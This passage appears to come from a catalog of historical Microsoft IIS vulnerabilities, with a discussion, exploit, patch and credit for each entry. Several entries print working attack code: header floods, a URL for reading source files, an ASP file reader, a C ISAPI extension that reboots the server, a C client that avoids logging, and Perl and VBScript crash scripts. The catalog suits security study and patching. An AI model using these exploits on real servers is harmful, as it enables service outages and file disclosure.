Microsoft IIS 3.0 shipped with a number of HTR scripts, one of which could be used to cause a Denial of Service against the hosting machine. Although these scripts were only distributed with IIS 3.0, they would be retained during upgrade to 4.0 or 5.0 and therefore these versions may be vulnerable if they were installed as an upgrade to 3.0. The vulnerable script is used to browse directories and normally expects a directory name as a variable. If a request with this variable blank is received, the script enters an infinite loop resulting in system resource exhaustion. No further details were made available by Microsoft.

Exploit

Solution
Microsoft has provided the following patches which address this issue:
Microsoft IIS 5.0:
Microsoft patch Q267559_W2K_SP2_x86_en

Microsoft IIS 4.0:
Microsoft patch htrdos4a.exe
http://download.microsoft.com/download/winntsp/Patch/q267559/NT4ALPHA/EN-US/htrdos4a.exe

Microsoft patch htrdos4i.exe
http://download.microsoft.com/download/winntsp/Patch/q267559/NT4ALPHA/EN-US/htrdos4i.exe

Credit
Details of this vulnerability were released in a Microsoft advisory, MS00-044
24) NT IIS Malformed HTTP Request Header DoS Vulnerability

- Error Class: Failure to Handle Exceptional Conditions (579)
- vulnerable
  Microsoft Commercial Internet System 2.5
  Microsoft Commercial Internet System 2.0
  Microsoft IIS 4.0
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.5
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.0
  - Microsoft Windows NT 4.0
  Microsoft Site Server 3.0 Commerce Edition
  - Microsoft Windows NT 4.0
  - Microsoft IIS 4.0
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.5
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.0
  - Microsoft Windows NT 4.0
  Microsoft Site Server 3.0
  + Microsoft Site Server 3.0 Commerce Edition
  - Microsoft Windows NT 4.0
  - Microsoft IIS 4.0
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.5
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.0
  - Microsoft Windows NT 4.0
  + Microsoft Commercial Internet System 2.0
  + Microsoft BackOffice 4.5
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.0
  - Microsoft Windows NT 4.0
- not vulnerable

Discussion
Microsoft IIS and all other products that use the IIS web engine have a vulnerability whereby a flood of specially formed HTTP request headers will make IIS consume all available memory on the server and then hang. IIS activity will be halted until the flood ceases or the service is stopped and restarted.

Exploit
Quoted from Nobuo Miwa's post to Bugtraq:

Sending a flood of characters stream to IIS:
GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaa....(200 bytes)

The above request sets were sent twice. Then somehow victim IIS got memory leak after these requests. Of course, it cannot respond any request any more. If you try this, you should see memory increase through performance monitor. You would see memory increase even after those requests have finished. It will stop when you get shortage of virtual memory. After that, you might not be able to restart web service and you would have to restart the computer. This has been tried against Japanese and English version of Windows NT.

Solution
Microsoft released a patch for this vulnerability on August 11, 1999. However, on August 12, 1999 they retracted it due to an error that made IIS hang whenever the logfile was an exact multiple of 64KB. Microsoft re-released the bulletin on August 16, 1999. The new patches are available at:

Credit
25) *Microsoft IIS 4.0 Chunked Transfer Encoding Buffer Overflow Vulnerability*

- Error Class: Boundary Condition Error (1066)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    - + Microsoft BackOffice 4.5
      - Microsoft Windows NT 4.0
    - + Microsoft BackOffice 4.0
      - Microsoft Windows NT 4.0
- not vulnerable

**Discussion**
Due to unchecked buffer code that handles chunked encoding transfers, remote users are able to consume CPU cycles in Microsoft IIS until the program is rendered completely unstable and eventually crash. The remote user can request a POST or PUT command using chunked transfer encoding compromised of a large buffer without actually filling it. This can cause the server to hang indefinitely until the remote user cancels the session or until the IIS service is stopped and restarted.

**Exploit**

**Solution**
Microsoft has released patches that rectify this issue:

Microsoft IIS 4.0:

Intel Version
Microsoft patch chkenc4i
http://download.microsoft.com/download/iis40/Patch/4.2.739.1/NT4/EN-US/chkenc4i.exe

**Credit**
Discovered by Petteri Stenius and publicized in Microsoft Security Bulletin (MS00-018) released on March 20, 2000.
26) Microsoft IIS 4.0/5.0 Malformed Filename Request Vulnerability

- Error Class: Access Validation Error (1193)
- vulnerable
  - Microsoft IIS 5.0
    - Microsoft Windows NT 2000
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
      - Microsoft BackOffice 4.5
      - Microsoft Windows NT 4.0
      - Microsoft BackOffice 4.0
      - Microsoft Windows NT 4.0
  - not vulnerable

Discussion
Requesting a known filename with the extension replaced with .htr preceded by approximately 230 "%20" (which is an escaped character that represents a space) from Microsoft IIS 4.0/5.0 will cause the server to retrieve the file and its contents. This is due to the .htr file extension being mapped to ISM.DLL ISAPI application that redirects .htr file requests to ISM.DLL. ISM.DLL removes the extraneous "%20" and replaces .htr with the proper filename extension and reveals the source of the file. This action can only be performed if a .htr request has not been previously made or if ISM.DLL is loaded into memory for the first time. If an .htr request has already been made, a restart of the web server is necessary in order to perform another.

Exploit
http://target/filename%20(repeated approx 230 times).htr

Solution
Microsoft has released patches that rectify this issue:

Microsoft IIS 5.0:
Microsoft patch Q260069_W2K_SP2_x86_en

Microsoft IIS 4.0:

Intel
Microsoft patch htrdos4i.

Credit
Discovered by Cerberus Security Team <CST@CERBERUS-INFOSEC.CO.UK> and publicized in a Microsoft Security Bulletin (MS00-031).
27) Microsoft NT 4.0 and IIS 4.0 Invalid URL Request DoS Vulnerability

- Error Class: Boundary Condition Error (1642)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
      - Microsoft Windows NT 4.0
      + Microsoft BackOffice 4.0
      - Microsoft Windows NT 4.0
  - Microsoft Windows NT 4.0
- not vulnerable
  - Microsoft IIS 5.0
  + Microsoft Windows NT 2000

**Discussion**
IIS 4.0 is subject to a denial of service due to the mishandling of URL requests. This issue is a result of a flaw in Windows NT 4.0. If a remote user requests a specifically malformed URL, an invalid memory request is made by inetinfo.exe. The end result is that all system resources are used until inetinfo.exe is eventually automatically shut down by NT. A restart of the service is required in order to gain normal functionality.

**Exploit**

**Solution**
Microsoft recommends that all users running Windows NT 4.0 even if you are not using IIS 4.0 apply the following patch:

Note: This patch should only be applied to a system with SP6a or higher installed.

Microsoft Windows NT 4.0:

Intel
Microsoft patch Q271652i
http://download.microsoft.com/download/winntsp/Patch/q271652/NT4ALPHA/EN-US/Q271652i.EXE

**Credit**
Released in a Microsoft Security Bulletin (MS00-063) on Sep 5, 2000. Reported to Microsoft on May 16, 2000 by Peter Grundl of VIGILANTe <prg@vigilante.com>.
28) NT Using ASP And FSO To Read Server Files Vulnerability

- Error Class: Access Validation Error (230)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
      - Microsoft Windows NT 4.0
      + Microsoft BackOffice 4.0
        - Microsoft Windows NT 4.0
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
- not vulnerable

Discussion
The File System Object (FSO) may be called from an Active Server Page (ASP) to display files that exist outside of the web server's root directory. FSO allows calls to be made utilizing "../" to exit the local directory path.
An example of this syntax would be:
This vulnerability could be used to view the source code of ASP files or stream data into other ASP files on the web server.

Exploit
<% 
'grab the file from the URL 
FileName = Request.QueryString("file") 
' create the filesystemobject and open the file 
Set fso = CreateObject("Scripting.FileSystemObject") 
Set ts = fso.OpenTextFile(Server.MapPath(FileName)) 
' read the contents 
ShowTheFreakinThing = ts.ReadAll 
' display them 
Response.Write ShowTheFreakinThing 
' EOF 
%>

Solution
Joel Maslak <jmaslak@WIND-RIVER.COM> suggests Applying appropriate NTFS permissions to limit the access to given to the IUSR_machinename account. For multiple virtual web servers, run each virtual server under a different user account.
Russ Cooper <Russ.Cooper@RC.ON.CA> recommends disabling the "Allow Parent Paths" option via Internet Services Manager.

Credit
This vulnerability was posted to NTBugtraq by Gary Geisbert <gary@NEWSLETTERS.COM>. 

155
29) NT IIS ISAPI GetExtensionVersion() Vulnerability

- Error Class: Race Condition Error (501)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
  - Microsoft IIS 2.0
    + Microsoft Windows NT 4.0
- not vulnerable

Discussion
IIS and potentially other NT web servers have a vulnerability that could allow arbitrary code to be run as SYSTEM. This works because of the way the server calls the GetExtensionVersion() function the first time an ISAPI extension is loaded. Any user able to put a CGI script in the web structure can insert code that will be run as SYSTEM during this window.

Exploit
Copied verbatim from a post to NTbugtraq by Fabien Royer
<fabienr@BELLATLANTIC.NET>.

Using VC++, create an ISAPI extension project and call it CRbExtension. Replace GetExtensionVersion() and Default() with the code below. Compile it to something simple, like rb.dll. Place it on your web server and invoke it from your browser like this http://your.machine.namerb.dll? Note: if you are using IE4.0, don’t call this from the machine that is running the web server otherwise, the next time you log in, IE will recall the last URL and you’ll reboot again.

```c
BOOL CRbExtension::GetExtensionVersion(HSE_VERSION_INFO* pVer)
{ HANDLE hToken; // handle to process token TOKEN_PRIVILEGES tkp;
// pointer to token structure

    // Get the current process token handle so we can get shutdown
// privilege.
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);

    // Get the LUID for shutdown privilege.
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);

    tkp.PrivilegeCount = 1; // one privilege to set
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
```

156
// Get shutdown privilege for this process.
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);

ExitWindowsEx(EWX_REBOOT, 0);

// Disable shutdown privilege.
tkp.Privileges[0].Attributes = 0;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);

// Call default implementation for initialization
CHttpServer::GetExtensionVersion(pVer);

// Load description string TCHAR
sz[HSE_MAX_EXT_DLL_NAME_LEN+1];
ISAPIVERIFY(::LoadString(AfxGetResourceHandle(), IDS_SERVER, sz,
HSE_MAX_EXT_DLL_NAME_LEN)); _tcscpy(pVer->lpszExtensionDesc, sz);
return TRUE;
}

void CRbExtension::Default(CHttpServerContext* pCtx)
(StartContent(pCtx); WriteTitle(pCtx);

*pCtx << _T("Reboot<br>");

EndContent(pCtx);)

Solution
Do not allow users to use ISAPI extensions and their own CGI on the same server.

Credit
First posted to NTbugtrq on March 8, 1999 by Fabien Royer <fabienr@BELLATLANTIC.NET>.
30) NT IIS MDAC RDS Vulnerability

- **Error Class:** Access Validation Error (529)
- **vulnerable**
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
  - Microsoft Index Server 2.0
    + Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
- **not vulnerable**

**Discussion**

MDAC (Microsoft Data Access Components) is a package used to integrate web and database services. It includes a component named RDS (Remote Data Services). RDS allows remote access via the Internet to database objects through IIS. Both are included in a default installation of the Windows NT 4.0 Option Pack, but can be excluded via a custom installation.

RDS includes a component called the DataFactory object, which has a vulnerability that could allow any web user to:

- Obtain unauthorized access to unpublished files on the IIS server
- Use MDAC to tunnel ODBC requests through to a remote internal or external location, thereby obtaining access to non-public servers or effectively masking the source of an attack on another network.

The main risk in this vulnerability is the following:

If the Microsoft JET OLE DB Provider or Microsoft DataShape Provider are installed, a user could use the shell() VBA-command on the server with system privileges. (See the Microsoft JET Database Engine VBA Vulnerability for more information). These two vulnerabilities combined can allow an attacker on the Internet to run arbitrary commands with system level privileges on the target host.

**Exploit**

msadc.pl exploit written and posted to bugtraq by Rain Forest Puppy.
RDSExploit.zip exploit written and emailed to SecurityFocus by Wanderley J. Abreu Jr
--msadc.pl explanation:
msadc.pl looks for a common file to exploit, namely btcustmr.mdb .
msadc.pl instructions:
run perl -x msadc.pl

--RDSExploit information:
RDS EXPLOITER For Win98/NT

How it Works:
The Intent of RDS Exploit is Deliver Shell commands into the machine or Retrieve some DATA from an ODBC valid connection.

1. Setting ODBC Connection:
First of all you will need to know some valid DSN, the UID (User ID) and Password. Put the information about the connection into “Connection Properties”:
Data Source: The DSN Conecttion Name (it MUST be a registered DSN)
User ID: Login (it can be null sometimes)
Password: Password (it can be null sometimes)
Mode: The way you want to open the Table (Read Only or Read and Write)
You must follow the order above and don’t forget the ; to separate the options
It can be for instance a line like this:
“Data Source=AdvWorks;User ID=;Password=;Mode=Read|Write;”

2. SQL Commands:
Put into the “SQL Parameters” box the command line you want to deliver for example:
“SELECT * FROM Products”

3. Host:
You MUST Enter the host like this: http://server or it’ll not work.
After all are done, just click the “Retrieve Data” button.

Solution
If you have MDAC 1.5 or 2.x installed on the IIS server and DO NOT need MDAC functionality, perform the following:
- Delete the /msdac virtual directory in IIS, or
- Remove the following registry keys and all of their subkeys on the IIS server:
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\RDSServer\DataFactory
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\AdvancedDataFactory
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\VbBusObj\VbBusObjCls

Credit
Second exploit emailed to SecurityFocus by Wanderley J. Abreu Jr
31) NT IIS4 Log Avoidance Vulnerability

- Error Class: Failure to Handle Exceptional Conditions (191)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
- not vulnerable

Discussion
An http get request against an IIS4 server will not be logged if the request is longer than 10150 bytes long.

Exploit
/* Compile with eg Visual C++ and link with wsock32.lib*/
#include <stdio.h>
#include <winsock2.h>
#include <string.h>

int main (int argc, char *argv[])
{
    int snd, rcv, err, portno,a=0,b, res;
    char resp[1024];
    WORD wVersionRequested;
    WSADATA wsaData;
    struct sockaddr_in sa;
    struct hostent *he;
    SOCKET sock;

    if (argc !=2) {
        printf("Usage:nc:\n\%s target_machine\n\nDavid Litchfield\n21st January 1999\n", argv[0]);
        return 0;
    }
    wVersionRequested = MAKEWORD( 2, 0 );
    err = WSAStartup( wVersionRequested, &wsaData );

    if ( err != 0 ) {
        printf("No winsock.dll\n");
        return 0;
    }
    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 ) {
        printf("No winsock.dll - 2nd\n");
        WSACleanup();
        return 0;
    }
}
if ((he = gethostbyname(argv[1])) == NULL)
{
    printf("Invalid Host\n");
    return 0;
}

sock=socket(AF_INET,SOCK_STREAM,0);
if (sock==INVALID_SOCKET)
{
    printf("Invalid Socket!\n");
    return 0;
}
else
{
    printf("\n");
}

sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family=AF_INET;
bind(sock,(struct sockaddr *)&sa,sizeof(sa));
sa.sin_port=htons(80);

memcpy(&sa.sin_addr,he->h_addr,he->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{
    printf("Failed to connect!\n");
}
else
{
    /* This loop creates the REQUEST_METHOD and makes it 10140 bytes long */
    while (a < 10141)
    {
        snd=send(sock, "A", 1, 0);
        a ++;
    }
    snd=send(sock, "/default.asp HTTP/1.0\n",43,0);
    rcv=recv(sock,resp,256,0);
    printf("\n%\n",resp);
    rcv=recv(sock,resp,1024,0);
    printf("\n%\n",resp);
}
closesocket(sock);

return 0;
}

Solution

Credit
This vulnerability was posted to NTBugtraq by David Litchfield (Mnemonix).
32) NT IIS4 Buffer Overflow Vulnerability

- Error Class: Boundary Condition Error (307)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
- not vulnerable
  - Microsoft Windows NT 4.0SP6
    + Microsoft Windows NT 4.0

Discussion
A buffer overflow vulnerability in the way IIS handles requests within .HTM extensions allows remote attackers to execute arbitrary code on the target machine.

IIS supports a number of file extensions that require further processing (i.e. .ASP, .IDC, .HTR). When a request is made for one of this file types a specific DLL processes it. A stack buffer overflow vulnerability exists in ISM.DLL while handling .HTR, .STM or .IDC extensions. The ISM.DLL filter is installed by default with IIS.

Exploit
Use the following script to test your site:

#!/usr/bin/perl
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
  warn "$i\n";
  get "http://$ARGV[0]/".('a' x $i).".htn";
}
  /data/vulnerabilities/exploits/iishack.exe
  /data/vulnerabilities/exploits/iis-injector.c
  /data/vulnerabilities/exploits/teso.ini

Solution
Microsoft has made the following fix available:

This vulnerability was patched in NT Service Pack 6.

Microsoft recommends disabling the script mapping for .HTR files as a workaround.

Credit
This vulnerability was discovered by the eEye Digital Security Team.
33) NT Index Server Directory Traversal Vulnerability

- Error Class: Input Validation Error (950)
- vulnerable
  Microsoft Index Server 2.0
    + Microsoft IIS 4.0
      - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
      - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
      - Microsoft Windows NT 4.0
  Microsoft Windows NT 2000
- not vulnerable

Discussion
Index Server 2.0 is a utility included in the NT 4.0 Option Pack. The functionality provided by Index Service has been built into Windows 2000 as Indexing Services.

When combined with IIS, Index Server and Indexing Services include the ability to view web search results in their original context. It will generate an html page showing the query terms in a short excerpt of the surrounding text for each page returned, along with a link to that page. This is known as “Hit Highlighting”. To do this, it supports the .htw filetype that is handled by the webhits.dll ISAPI application. This dll will allow the use of the ‘../’ directory traversal string in the selection of a template file. This will allow for remote, unauthenticated viewing of any file on the system whose location is known by the attacker.

Exploit
- /data/vulnerabilities/exploits/iiscat.c

Solution
Microsoft has released patches for this issue, available at:

Index Server 2.0:
Intel:

Indexing Services for Windows 2000:
Intel:

Credit
34) Microsoft IIS 4.0 Pickup Directory DoS Vulnerability

- Error Class: Failure to Handle Exceptional Conditions (1819)
- vulnerable
  Microsoft IIS 4.0
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.5
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.0
  - Microsoft Windows NT 4.0
- not vulnerable

Discussion
An email with a filename consisting of over 86 characters and an extension of .txt.eml will cause Microsoft IIS to crash if placed in the \mailroot\pickup directory. The process inetinfo.exe will crash, resulting in a Dr. Watson access violation error. Restarting IIS is required in order to regain normal functionality.

Exploit
Valentijn <iam@MY.NET> has provided the following sample script:

<example script>
Rootpath = "c:\inetpub\mailroot\pickup\"
Set fso = createobject(“scripting.filesystemobject”)
Thename = Createkey & fso.GetTempName & ".eml"
Set Thefile = fso.GetFolder(rootpath).CreateTextFile(Thename)
Thefile.writeline “X-Sender: CRASHTHIS@my.net”
Thefile.writeline “X-Receiver: dump@my.net”
Thefile.writeline “From: CRASHTHIS@my.net”
Thefile.writeline “To: dump@my.net”
Thefile.writeline “Subject: MINE DID NOT CRASH”
Thefile.writeline “Date: ” & now()
Thefile.writeline “X-Generator: ” & Thename
Thefile.close

Function Createkey
for z = 1 to 80
randomize
a = Int((25 * Rnd) + 1)
password = password & chr(a+65)
next
Createkey = password
End function
</example script>

Solution

Credit
Posted to NTBugtraq on February 15, 2000 by Valentijn <iam@MY.NET>.
35) Microsoft IIS 4.0/5.0 Malformed File Extension DoS Vulnerability

- Error Class: Failure to Handle Exceptional Conditions (1190)
- vulnerable
  - Microsoft IIS 5.0
    + Microsoft Windows NT 2000
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
      + Microsoft BackOffice 4.5
      - Microsoft Windows NT 4.0
      + Microsoft BackOffice 4.0
      - Microsoft Windows NT 4.0
  - not vulnerable

**Discussion**

Sending a specially crafted URL containing malformed file extension information to Microsoft IIS 4.0/5.0 will consume CPU usage until it reaches 100% which will halt the program's services. Restarting the application or waiting until the URL is processed will be required in order to regain normal functionality.

**Exploit**

USSR Labs <labs@ussrback.com> has released the following exploit:

Binary - iisdos.exe
Source Code - iisdos.zip

**Solution**

Microsoft has released the following patches which rectifies this issue:

Microsoft IIS 5.0:

Microsoft patch Q260205_W2K_SP1_x86_en

Microsoft IIS 4.0:

Intel
Microsoft patch myrdot4i
http://download.microsoft.com/download/iis40/Patch/Q260205/NT4ALPHA/EN-US/myrdot4i.exe

**Credit**

Discovered by USSR Labs <labs@ussrback.com> and publicized in a Microsoft Security Bulletin (MS00-0030).
36) Microsoft IIS 4.0 ISAPI Buffer Overflow Vulnerability

- Error Class: Boundary Condition Error (1911)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
- not vulnerable
  - Microsoft IIS 5.0
    + Microsoft Windows NT 2000

Discussion
The ASP ISAPI file parser does not properly execute certain malformed ASP files that contain scripts with the LANGUAGE parameter containing a buffer of over 2200 characters and have the RUNAT value set as ‘server’. Depending on the data entered into the buffer, a denial of service attack could be launched or arbitrary code could be executed under the SYSTEM privilege level in the event that a malicious ASP file were locally executed on IIS.

Exploit
eEye Digital Security <info@eEye.com> has released the following exploit:

IISHack1.5.zip

Solution
This issue has been resolved by a number of Microsoft IIS patches. The patch below will eliminate this vulnerability:

Microsoft IIS 4.0:

Intel
Microsoft patch secesesi

Credit
Posted to Bugtraq on November 3, 2000 by Marc Maiffret <marc@eeye.com>.
37) Microsoft IIS 5.0 “Translate: f” Source Disclosure Vulnerability

- Error Class: Input Validation Error (1756)
- vulnerable
  - Microsoft IIS 5.0
    + Microsoft Windows NT 2000
- not vulnerable

Discussion
Microsoft IIS 5.0 has a dedicated scripting engine for advanced file types such as ASP, ASA, HTR, etc. files. The scripting engines handle requests for these file types, processes them accordingly, and then executes them on the server.

It is possible to force the server to send back the source of known scriptable files to the client if the HTTP GET request contains a specialized header with ‘Translate: f’ at the end of it, and if a trailing slash ‘/’ is appended to the end of the URL. The scripting engine will be able to locate the requested file, however, it will not recognize it as a file that needs to be processed and will proceed to send the file source to the client.

Exploit
SMILER <smiler@vxd.org> has released the exploit srcgrab.pl.
Roelof Temmingh <roelof@sensepost.com> has released the exploit trans.pl.

Solution
Microsoft has released the following patch which eliminates this vulnerability:

Microsoft IIS 5.0:

Microsoft patch Q256888_W2K_SP1_x86_en

Credit
Publicized in a Microsoft Security Bulletin (MS00-058) on August 14, 2000. Additional information provided by Daniel Docekal <ddoc@MIA.CZ>.